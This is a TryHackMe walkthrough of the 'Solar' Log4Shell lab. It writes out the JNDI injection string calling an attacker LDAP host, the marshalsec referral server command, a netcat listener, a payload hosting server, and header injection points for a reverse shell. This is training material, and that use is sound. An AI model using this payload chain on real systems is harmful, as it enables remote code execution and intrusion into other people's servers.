🔥 Solar Exploiting Log4j - TryHackMe Walkthrough

📌 Room: Solar Exploiting Log4j

Platform: TryHackMe Difficulty: Medium Topic: Log4Shell (Log4j Vulnerability)

---

🧠 Objective

Exploit the Log4j vulnerability (CVE-2021-44228) to gain remote code execution and capture flags.

---

🛠️ Tools Used

• Nmap
• Burp Suite
• cURL
• Netcat
• Python HTTP Server

---

🌐 Step 1: Reconnaissance

🔍 Scan Target

nmap -sC -sV <TARGET_IP>

📌 Findings

• Open ports: 80 (HTTP), others depending on room
• Web application running Java-based backend

---

🌐 Step 2: Web Enumeration

• Visit the web app in browser
• Interact with inputs (login/search/header fields)
• Capture request using Burp Suite

---

💥 Step 3: Identify Log4j Vulnerability

Log4j vulnerability allows JNDI injection:

${jndi:ldap://<ATTACKER_IP>:1389/a}

If input is logged → vulnerability exists.

---

⚙️ Step 4: Setup Listener

Start Netcat

nc -lvnp 4444

Start Malicious LDAP Server (Example)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Run LDAP server:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

---

📡 Step 5: Host Payload

python3 -m http.server 8000

Create malicious Java class (Exploit.class)

---

🚀 Step 6: Trigger Exploit

Inject payload into vulnerable field:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Use headers like:

• User-Agent
• X-Api-Version

---

🖥️ Step 7: Gain Reverse Shell

Once triggered:

• Target connects back to Netcat listener
• You get shell access

---

🔐 Step 8: Privilege Escalation (if required)

Check:

sudo -l

Look for:

• Misconfigured SUID binaries
• Writable files
• Cron jobs

---

🚩 Step 9: Capture Flags

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Key Concepts Learned

• Log4Shell (CVE-2021-44228)
• JNDI Injection
• Remote Code Execution (RCE)
• Reverse Shell
• Web Exploitation